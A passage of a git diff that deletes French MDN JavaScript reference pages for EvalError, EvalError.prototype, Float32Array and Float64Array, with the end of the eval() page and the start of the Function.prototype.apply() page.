- -
    -
  • Historiquement, eval() utilisait un deuxième argument qui définissait l'objet qui était le contexte pour lequel effectuer l'évaluation. Cet argument était non-standard et a été retiré de SpiderMonkey avec Firefox 4 (cf. {{bug(531675)}}).
    • -
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/evalerror/index.html b/files/fr/web/javascript/reference/objets_globaux/evalerror/index.html deleted file mode 100644 index f2bdb704b9..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/evalerror/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: EvalError -slug: Web/JavaScript/Reference/Objets_globaux/EvalError -tags: - - Error - - EvalError - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/EvalError ---- -
{{JSRef}}
- -

L'objet EvalError indique une erreur concernant la fonction globale {{jsxref("Objets_globaux/eval","eval()")}}. Cette exception n'est plus levée par JavaScript mais l'objet EvalError est conservé pour des raisons de compatibilité.

- -

Syntaxe

- -
new EvalError([message[, nomFichier[, numeroLigne]]])
- -

Paramètres

- -
-
message
-
Paramètre optionnel, une description compréhensible de l'erreur
-
nomFichier {{Non-standard_inline}}
-
Paramètre optionnel, le nom du fichier qui contient le code à l'origine de l'exception
-
numeroLigne {{Non-standard_inline}}
-
Paramètre optionnel, le numéro de la ligne du code qui a entrainé l'exception
-
- -

Propriétés

- -
-
{{jsxref("EvalError.prototype")}}
-
Cette propriété permet l'addition de propriétés à un objet EvalError.
-
- -

Méthodes

- -

L'objet global EvalError ne contient pas de méthodes propres. En revanche, il hérite de certaines méthodes via sa chaîne de prototypes.

- -

Instances de EvalError

- -

Propriétés

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/EvalError/prototype','Properties')}}
- -

Méthodes

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/EvalError/prototype','Methods')}}
- -

Exemples

- -

EvalError n'est pas utilisée par la spécification ECMAScript actuelle et ne sera donc pas levée lors de l'exécution. Cependant, l'objet reste disponible à des fins de compatibilité avec les versions antérieures de la spécification.

- -

Créer une exception EvalError

- -
try {
-  throw new EvalError("Coucou", "unFichier.js", 10);
-} catch (e) {
-  console.log(e instanceof EvalError); // true
-  console.log(e.message);              // "Coucou"
-  console.log(e.name);                 // "EvalError"
-  console.log(e.fileName);             // "unFichier.js"
-  console.log(e.lineNumber);           // 10
-  console.log(e.columnNumber);         // 0
-  console.log(e.stack);                // "@Scratchpad/2:2:9\n"
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale
{{SpecName('ES5.1', '#sec-15.11.6.1', 'EvalError')}}{{Spec2('ES5.1')}}Non utilisé dans cette spécificaition. Présent à des fins de rétrocompatibilité.
{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}}{{Spec2('ES6')}}Non utilisé dans cette spécificaition. Présent à des fins de rétrocompatibilité.
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.EvalError")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error")}}
    • -
  • {{jsxref("EvalError.prototype")}}
    • -
  • {{jsxref("Objets_globaux/eval", "eval()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/evalerror/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/evalerror/prototype/index.html deleted file mode 100644 index 1123259c3d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/evalerror/prototype/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: EvalError.prototype -slug: Web/JavaScript/Reference/Objets_globaux/EvalError/prototype -tags: - - Error - - EvalError - - JavaScript - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/EvalError -translation_of_original: Web/JavaScript/Reference/Global_Objects/EvalError/prototype ---- -
{{JSRef}}
- -

La propriété EvalError.prototype représente le prototype du constructeur {{jsxref("EvalError")}}.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

Chacune des instances de {{jsxref("EvalError")}} hérite de {{jsxref("EvalError.prototype")}}. On peut utiliser le prototype pour ajouter des propriétés ou des méthodes à toutes les instances.

- -

Propriétés

- -
-
EvalError.prototype.constructor
-
Définit la fonction qui crée une instance basée sur le prototype.
-
{{jsxref("Error.prototype.message", "EvalError.prototype.message")}}
-
Un message décrivant l'erreur. Bien que la spécification ECMA-262 définit que EvalError doit fournir une propriété message propre à l'objet, l'implémentation de SpiderMonkey fait qu'il hérite de {{jsxref("Error.prototype.message")}}.
-
{{jsxref("Error.prototype.name", "EvalError.prototype.name")}}
-
Un nom d'erreur. Propriété héritée de {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.fileName", "EvalError.prototype.fileName")}}
-
Un chemin vers le fichier qui a provoqué l'erreur. Propriété héritée de {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.lineNumber", "EvalError.prototype.lineNumber")}}
-
Le numéro de la ligne du fichier qui a provoqué l'erreur. Propriété héritée de {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.columnNumber", "EvalError.prototype.columnNumber")}}
-
Le numéro de la colonne dans la ligne du fichier qui a provoqué l'erreur. Propriété héritée de {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.stack", "EvalError.prototype.stack")}}
-
Pile d'appels. Propriété héritée de {{jsxref("Error")}}.
-
- -

Méthodes

- -

Bien que l'objet prototype EvalError ne possède pas de propriété propre, les instances de {{jsxref("EvalError")}} héritent de certaines méthodes via la chaîne de prototypes.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}Défini comme NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Défini comme NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Défini comme NativeError.prototype.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.EvalError")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error.prototype")}}
    • -
  • {{jsxref("Function.prototype")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/float32array/index.html b/files/fr/web/javascript/reference/objets_globaux/float32array/index.html deleted file mode 100644 index 35870c99db..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/float32array/index.html +++ /dev/null @@ -1,205 +0,0 @@ ---- -title: Float32Array -slug: Web/JavaScript/Reference/Objets_globaux/Float32Array -tags: - - Constructor - - JavaScript - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/Float32Array ---- -
{{JSRef}}
- -

Le tableau typé Float32Array représente un tableau de nombres flottants représentés sur 32 bits (ce qui correspond au type C float), l'ordre des octets utilisés étant celui de la plate-forme. Si on souhaite maîtriser le boutisme (endianness) utilisé, on pourra utiliser une {{jsxref("DataView")}}. Les éléments du tableau sont initialisés à 0. Une fois que le tableau est établi, on peut référencer des éléments dans le tableau en utilisant les méthodes de l'objet ou la syntaxe usuelle des crochets.

- -

Syntaxe

- -
new Float32Array(); // Apparu avec ES2017
-new Float32Array(longueur);
-new Float32Array(tableauTypé);
-new Float32Array(objet);
-new Float32Array(buffer [, décalageOctets [, longueur]]);
- -

Pour plus d'informations sur la syntaxe de ce constructeur et les paramètres utilisés, voir la page {{jsxref("Objets_globaux/TypedArray","TypedArray","#Syntaxe")}}.

- -

Propriétés

- -
-
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Float32Array.BYTES_PER_ELEMENT")}}
-
Renvoie le nombre d'octets par élément. 4 dans le cas de Float32Array.
-
Float32Array.length
-
Une propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Float32Array.prototype.length")}}.
-
{{jsxref("TypedArray.name", "Float32Array.name")}}
-
Renvoie la chaîne de caractères correspondant au nom du constructeur, dans le cas de Float32Array, ce sera : "Float32Array".
-
{{jsxref("TypedArray.prototype", "Float32Array.prototype")}}
-
Le prototype des objets TypedArray.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.from", "Float32Array.from()")}}
-
Crée un nouvel objet Float32Array à partir d'un objet semblable à un tableau ou d'un objet itérable. Voir également la page {{jsxref("Array.from()")}}.
-
{{jsxref("TypedArray.of", "Float32Array.of()")}}
-
Crée un nouvel objet Float32Array à partir d'un nombre variable d'arguments. Voir également la page {{jsxref("Array.of()")}}.
-
- -

Prototype Float32Array

- -

Chacun des objets Float32Array hérite de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

- -

Propriétés

- -
-
Float32Array.prototype.constructor
-
Renvoie la fonction qui a crée le prototype de l'instance. Par défaut, ce sera le constructeur Float32Array.
-
{{jsxref("TypedArray.prototype.buffer", "Float32Array.prototype.buffer")}} {{readonlyInline}}
-
Renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet Float32Array. Cette propriété est fixée lors de la construction et n'est donc disponible qu'en lecture seule.
-
{{jsxref("TypedArray.prototype.byteLength", "Float32Array.prototype.byteLength")}} {{readonlyInline}}
-
Renvoie la longueur, exprimée en octets, de l'objet Float32Array à partir du début de l'{{jsxref("ArrayBuffer")}} correspondant. Cette propriété est fixée lors de la construction et n'est donc disponible qu'en lecture seule.
-
{{jsxref("TypedArray.prototype.byteOffset", "Float32Array.prototype.byteOffset")}} {{readonlyInline}}
-
Renvoie le décalage, exprimé en octets, de l'objet Float32Array par rapport au début de l'{{jsxref("ArrayBuffer")}} correspondant. Cette propriété est fixée lors de la construction et n'est donc disponible qu'en lecture seule.
-
{{jsxref("TypedArray.prototype.length", "Float32Array.prototype.length")}} {{readonlyInline}}
-
Renvoie le nombre d'éléments contenus dans l'objet Float32Array. Cette propriété est fixée lors de la construction et n'est donc disponible qu'en lecture seule.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.copyWithin", "Float32Array.prototype.copyWithin()")}}
-
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.entries", "Float32Array.prototype.entries()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
-
{{jsxref("TypedArray.every", "Float32Array.prototype.every()")}}
-
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
-
{{jsxref("TypedArray.fill", "Float32Array.prototype.fill()")}}
-
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
-
{{jsxref("TypedArray.filter", "Float32Array.prototype.filter()")}}
-
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
-
{{jsxref("TypedArray.find", "Float32Array.prototype.find()")}}
-
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
-
{{jsxref("TypedArray.findIndex", "Float32Array.prototype.findIndex()")}}
-
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
-
{{jsxref("TypedArray.forEach", "Float32Array.prototype.forEach()")}}
-
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
-
{{jsxref("TypedArray.includes", "Float32Array.prototype.includes()")}}
-
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
-
{{jsxref("TypedArray.indexOf", "Float32Array.prototype.indexOf()")}}
-
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
-
{{jsxref("TypedArray.join", "Float32Array.prototype.join()")}}
-
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
-
{{jsxref("TypedArray.keys", "Float32Array.prototype.keys()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
-
{{jsxref("TypedArray.lastIndexOf", "Float32Array.prototype.lastIndexOf()")}}
-
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
-
{{jsxref("TypedArray.map", "Float32Array.prototype.map()")}}
-
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
-
{{jsxref("TypedArray.move", "Float32Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
-
Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Float32Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.reduce", "Float32Array.prototype.reduce()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
-
{{jsxref("TypedArray.reduceRight", "Float32Array.prototype.reduceRight()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
-
{{jsxref("TypedArray.reverse", "Float32Array.prototype.reverse()")}}
-
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
-
{{jsxref("TypedArray.set", "Float32Array.prototype.set()")}}
-
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
-
{{jsxref("TypedArray.slice", "Float32Array.prototype.slice()")}}
-
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
-
{{jsxref("TypedArray.some", "Float32Array.prototype.some()")}}
-
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
-
{{jsxref("TypedArray.sort", "Float32Array.prototype.sort()")}}
-
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
-
{{jsxref("TypedArray.subarray", "Float32Array.prototype.subarray()")}}
-
Renvoie un nouvel objet Float32Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
-
{{jsxref("TypedArray.values", "Float32Array.prototype.values()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
-
{{jsxref("TypedArray.toLocaleString", "Float32Array.prototype.toLocaleString()")}}
-
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
-
{{jsxref("TypedArray.toString", "Float32Array.prototype.toString()")}}
-
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
-
{{jsxref("TypedArray.@@iterator", "Float32Array.prototype[@@iterator]()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
-
- -

Exemples

- -

Différentes façons de créer un objet Float32Array :

- -
// Construction à partir d'une longueur
-var float32 = new Float32Array(2);
-float32[0] = 42;
-console.log(float32[0]); // 42
-console.log(float32.length); // 2
-console.log(float32.BYTES_PER_ELEMENT); // 4
-
-// Construction à partir d'un tableau
-var arr = new Float32Array([21,31]);
-console.log(arr[1]); // 31
-
-// Construction à partir d'un tableau typé
-var x = new Float32Array([21, 31]);
-var y = new Float32Array(x);
-console.log(y[0]); // 21
-
-// Construction à partir d'un ArrayBuffer
-var buffer = new ArrayBuffer(16);
-var z = new Float32Array(buffer, 0, 4);
-
-// Construction à partir d'un itérable
-var iterable = function*(){ yield* [1,2,3]; }();
-var float32 = new Float32Array(iterable);
-// Float32Array[1, 2, 3]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{Spec2('Typed Array')}}Remplacée par ECMAScript 2015.
{{SpecName('ES6', '#table-49', 'TypedArray constructors')}}{{Spec2('ES6')}}Défintion initiale au sein d'un standard ECMA. new est obligatoire.
{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié le constructeur afin que celui-ci utilise l'opération interne ToIndex et puisse être utilisé sans argument.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Float32Array")}}

- -

Notes de compatibilité

- -

À partir d'ECMAScript 2015 (ES6), Float32Array doit être utilisée avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur Float32Array comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

- -
var dv = Float32Array([1, 2, 3]);
-// TypeError: calling a builtin Float32Array constructor
-// without new is forbidden
- -
var dv = new Float32Array([1, 2, 3]);
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/float64array/index.html b/files/fr/web/javascript/reference/objets_globaux/float64array/index.html deleted file mode 100644 index 892222240c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/float64array/index.html +++ /dev/null @@ -1,204 +0,0 @@ ---- -title: Float64Array -slug: Web/JavaScript/Reference/Objets_globaux/Float64Array -tags: - - Constructor - - JavaScript - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/Float64Array ---- -
{{JSRef}}
- -

Le constructeur Floa64Array permet de représenter un tableau typé dont les éléments sont des nombres flottants représentés sur 64 bits (ce qui correspond à la représentation du type double en C) dans l'ordre des octets utilisé par la plate-forme. Si on souhaite maîtriser le boutisme (endianness), on pourra utiliser un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à 0. Une fois construit, il est possible de faire référence aux éléments du tableau en utilisant les méthodes de l'objet ou la syntaxe usuelle pour l'accès aux éléments du tableau (les crochets).

- -

Syntaxe

- -
new Float64Array(); // apparu avec ES2017
-new Float64Array(longueur);
-new Float64Array(tableauTypé);
-new Float64Array(objet);
-new Float64Array(buffer [, positionOctet [, longueur]]);
- -

Pour plus d'informations sur la syntaxe du constructeur et ses paramètres, voir TypedArray.

- -

Propriétés

- -
-
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Float64Array.BYTES_PER_ELEMENT")}}
-
Renvoie un nombre traduisant la taille de l'élément en octets, 8 dans le cas d'un Float64Array.
-
Float64Array.length
-
Une propriété de longueur statique qui vaut 3. Pour connaître le nombre d'éléments, voir {{jsxref("TypedArray.prototype.length", "Float64Array.prototype.length")}}.
-
{{jsxref("TypedArray.name", "Float64Array.name")}}
-
Renvoie la chaîne de caractère correspondant au nom du constructeur, dans le cas de Float64Array, ce sera : "Float64Array".
-
{{jsxref("TypedArray.prototype", "Float64Array.prototype")}}
-
Prototype pour les objets TypedArray.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.from", "Float64Array.from()")}}
-
Crée un nouvel objet Float64Array à partir d'un objet semblable à un tableau ou d'un objet itérable. Voir aussi {{jsxref("Array.from()")}}.
-
{{jsxref("TypedArray.of", "Float64Array.of()")}}
-
Crée un nouvel objet Float64Array à partir d'un nombre variable d'arguments. Voir aussi {{jsxref("Array.of()")}}.
-
- -

Prototype de Float64Array

- -

Tous les objets Float64Array héritent de {{jsxref("TypedArray.prototype", "Float64Array.prototype")}}.

- -

Propriétés

- -
-
Float64Array.prototype.constructor
-
Renvoie la fonction qui a créé le prototype de l'instance. Par défaut, ce sera le constructeur natif Float64Array.
-
{{jsxref("TypedArray.prototype.buffer", "Float64Array.prototype.buffer")}} {{readonlyInline}}
-
Renvoie l'{{jsxref("ArrayBuffer")}} référencé par l'objet Float64Array. Cette valeur est fixée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
-
{{jsxref("TypedArray.prototype.byteLength", "Float64Array.prototype.byteLength")}} {{readonlyInline}}
-
Renvoie la longueur, exprimée en octets, de l'objet Float64Array depuis le début de son {{jsxref("ArrayBuffer")}}. Cette valeur est fixée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
-
{{jsxref("TypedArray.prototype.byteOffset", "Float64Array.prototype.byteOffset")}} {{readonlyInline}}
-
Renvoie le décalage, exprimé en octets, entre l'objet Float64Array et le début de son {{jsxref("ArrayBuffer")}}. Cette valeur est fixée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
-
{{jsxref("TypedArray.prototype.length", "Float64Array.prototype.length")}} {{readonlyInline}}
-
Renvoie le nombre d'éléments contenus dans l'objet Float64Array. Cette valeur est fixée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.copyWithin", "Float64Array.prototype.copyWithin()")}}
-
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.entries", "Float64Array.prototype.entries()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
-
{{jsxref("TypedArray.every", "Float64Array.prototype.every()")}}
-
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
-
{{jsxref("TypedArray.fill", "Float64Array.prototype.fill()")}}
-
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
-
{{jsxref("TypedArray.filter", "Float64Array.prototype.filter()")}}
-
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
-
{{jsxref("TypedArray.find", "Float64Array.prototype.find()")}}
-
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
-
{{jsxref("TypedArray.findIndex", "Float64Array.prototype.findIndex()")}}
-
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
-
{{jsxref("TypedArray.forEach", "Float64Array.prototype.forEach()")}}
-
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
-
{{jsxref("TypedArray.includes", "Float64Array.prototype.includes()")}}
-
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
-
{{jsxref("TypedArray.indexOf", "Float64Array.prototype.indexOf()")}}
-
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
-
{{jsxref("TypedArray.join", "Float64Array.prototype.join()")}}
-
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
-
{{jsxref("TypedArray.keys", "Float64Array.prototype.keys()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
-
{{jsxref("TypedArray.lastIndexOf", "Float64Array.prototype.lastIndexOf()")}}
-
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
-
{{jsxref("TypedArray.map", "Float64Array.prototype.map()")}}
-
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
-
{{jsxref("TypedArray.move", "Float64Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
-
Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Float64Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.reduce", "Float64Array.prototype.reduce()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
-
{{jsxref("TypedArray.reduceRight", "Float64Array.prototype.reduceRight()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
-
{{jsxref("TypedArray.reverse", "Float64Array.prototype.reverse()")}}
-
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
-
{{jsxref("TypedArray.set", "Float64Array.prototype.set()")}}
-
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
-
{{jsxref("TypedArray.slice", "Float64Array.prototype.slice()")}}
-
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
-
{{jsxref("TypedArray.some", "Float64Array.prototype.some()")}}
-
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
-
{{jsxref("TypedArray.sort", "Float64Array.prototype.sort()")}}
-
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
-
{{jsxref("TypedArray.subarray", "Float64Array.prototype.subarray()")}}
-
Renvoie un nouvel objet Float64Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
-
{{jsxref("TypedArray.values", "Float64Array.prototype.values()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
-
{{jsxref("TypedArray.toLocaleString", "Float64Array.prototype.toLocaleString()")}}
-
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
-
{{jsxref("TypedArray.toString", "Float64Array.prototype.toString()")}}
-
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
-
{{jsxref("TypedArray.@@iterator", "Float64Array.prototype[@@iterator]()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
-
- -

Exemples

- -

Différentes façons de créer un objet Float64Array :

- -
// Construction avec une longueur de tableau
-var float64 = new Float64Array(2);
-float64[0] = 42;
-console.log(float64[0]); // 42
-console.log(float64.length); // 2
-console.log(float64.BYTES_PER_ELEMENT); // 8
-
-// Construction à partir d'un tableau
-var arr = new Float64Array([21,31]);
-console.log(arr[1]); // 31
-
-// Construction à partir d'un autre tableau typé
-var x = new Float64Array([21, 31]);
-var y = new Float64Array(x);
-console.log(y[0]); // 21
-
-// Construction à partir d'un ArrayBuffer
-var buffer = new ArrayBuffer(32);
-var z = new Float64Array(buffer, 0, 4);
-
-// Construction à partir d'un itérable
-var iterable = function*(){ yield* [1,2,3]; }();
-var float64 = new Float64Array(iterable);
-// Float64Array[1, 2, 3]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}{{Spec2('ES2015')}}Première définition au sein d'un standard ECMAScript. new est nécessaire pour utiliser le constructeur.
{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié le constructeur afin qu'il utilise l'opération interne ToIndex ce qui permet de l'utiliser sans argument.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Float64Array")}}

- -

Notes de compatibilité

- -

À partir d'ECMAScript 2015 (ES6), les constructeurs TypedArray doivent être utilisés avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur TypedArray comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

- -
var dv = Float64Array([1, 2, 3]);
-// TypeError: calling a builtin Float64Array constructor without new is forbidden
- -
var dv = new Float64Array([1, 2, 3]);
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/function/apply/index.html b/files/fr/web/javascript/reference/objets_globaux/function/apply/index.html deleted file mode 100644 index 6c1f23d146..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/function/apply/index.html +++ /dev/null @@ -1,211 +0,0 @@ ---- -title: Function.prototype.apply() -slug: Web/JavaScript/Reference/Objets_globaux/Function/apply -tags: - - Function - - JavaScript - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Function/apply ---- -
{{JSRef}}
- -

La méthode apply() appelle une fonction en lui passant une valeur this et des arguments sous forme d'un tableau (ou d'un objet semblable à un tableau).

- -
